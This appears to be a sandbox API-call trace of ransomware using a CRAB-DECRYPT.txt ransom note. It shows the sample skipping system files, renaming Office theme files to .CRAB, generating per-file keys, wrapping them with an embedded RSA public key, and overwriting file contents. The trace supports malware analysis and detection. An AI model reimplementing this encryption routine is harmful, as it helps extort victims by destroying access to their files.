	[0115.281] lstrcmpiW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0115.281] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.281] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB") returned 135
	[0115.281] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033921[[fn=damask]].thmx")) returned 0x20
	[0115.282] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx", dwFileAttributes=0x20) returned 1
	[0115.283] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033921[[fn=damask]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033921[[fn=damask]].thmx.crab")) returned 1
	[0115.284] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0115.284] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB"
	[0115.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB.CRAB"
	[0115.284] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0115.285] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.285] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.285] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.285] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0115.285] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0115.285] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.286] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0115.289] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.290] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.290] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.290] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0115.290] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0115.290] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.290] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0115.291] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0115.291] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0115.291] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4860) returned 1
	[0115.292] CryptGetKeyParam (in: hKey=0xda4860, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.292] CryptEncrypt (in: hKey=0xda4860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0115.292] GetLastError () returned 0x0
	[0115.292] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0115.292] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0115.293] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4760) returned 1
	[0115.293] CryptGetKeyParam (in: hKey=0xda4760, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.293] CryptEncrypt (in: hKey=0xda4760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0115.293] GetLastError () returned 0x0
	[0115.293] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0115.293] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033921[[fn=damask]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0115.294] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0115.294] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0115.295] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.357] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0115.401] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.405] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.405] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.407] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.411] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.421] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.435] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0115.454] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.461] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.461] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.463] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.468] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1dbbf, lpOverlapped=0x0) returned 1
	[0115.475] VirtualAlloc (lpAddress=0x0, dwSize=0x1dbc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0115.477] VirtualAlloc (lpAddress=0x0, dwSize=0x1dbc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.479] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.480] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffe2441, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.480] WriteFile (in: hFile=0x3fc, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x1dbc0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x3147f1c*=0x1dbc0, lpOverlapped=0x0) returned 1
	[0115.481] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.482] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.485] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.486] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.486] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0115.486] CloseHandle (hObject=0x3fc) returned 1
	[0115.540] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.540] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.540] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.540] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.540] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.540] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.541] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0115.541] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2=".") returned 1
	[0115.541] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="..") returned 1
	[0115.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx"
	[0115.541] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0115.541] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131
	[0115.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131
	[0115.541] lstrlenW (lpString=".thmx") returned 5
	[0115.541] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.541] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0115.541] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131
	[0115.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131
	[0115.541] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="desktop.ini") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="autorun.inf") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="ntuser.dat") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="iconcache.db") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="bootsect.bak") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="boot.ini") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="ntuser.dat.log") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="thumbs.db") returned 1
	[0115.542] lstrcmpiW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0115.542] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.542] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB") returned 136
	[0115.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033925[[fn=droplet]].thmx")) returned 0x20
	[0115.543] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx", dwFileAttributes=0x20) returned 1
	[0115.543] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033925[[fn=droplet]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033925[[fn=droplet]].thmx.crab")) returned 1
	[0115.544] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0115.544] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB"
	[0115.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB.CRAB"
	[0115.545] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0115.545] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.545] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.546] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.546] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0115.546] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0115.546] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.546] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0115.547] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.547] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.547] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.547] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0115.547] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0115.547] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.547] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0115.548] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0115.548] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0115.549] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4be0) returned 1
	[0115.549] CryptGetKeyParam (in: hKey=0xda4be0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.549] CryptEncrypt (in: hKey=0xda4be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0115.549] GetLastError () returned 0x0
	[0115.549] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0115.549] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0115.550] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4960) returned 1
	[0115.550] CryptGetKeyParam (in: hKey=0xda4960, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.550] CryptEncrypt (in: hKey=0xda4960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0115.551] GetLastError () returned 0x0
	[0115.551] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0115.551] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033925[[fn=droplet]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0115.551] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0115.551] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0115.552] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.600] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.617] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0115.644] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.648] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.648] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.650] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.654] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xab70b, lpOverlapped=0x0) returned 1
	[0115.661] VirtualAlloc (lpAddress=0x0, dwSize=0xab710, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.670] VirtualAlloc (lpAddress=0x0, dwSize=0xab710, flAllocationType=0x3000, flProtect=0x4) returned 0x3410000
	[0115.684] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.687] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff548f5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.687] WriteFile (in: hFile=0x3fc, lpBuffer=0x3410000*, nNumberOfBytesToWrite=0xab710, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3410000*, lpNumberOfBytesWritten=0x3147f1c*=0xab710, lpOverlapped=0x0) returned 1
	[0115.688] VirtualFree (lpAddress=0x3410000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.691] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.695] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.695] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0115.695] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0115.695] CloseHandle (hObject=0x3fc) returned 1
	[0115.733] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.733] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
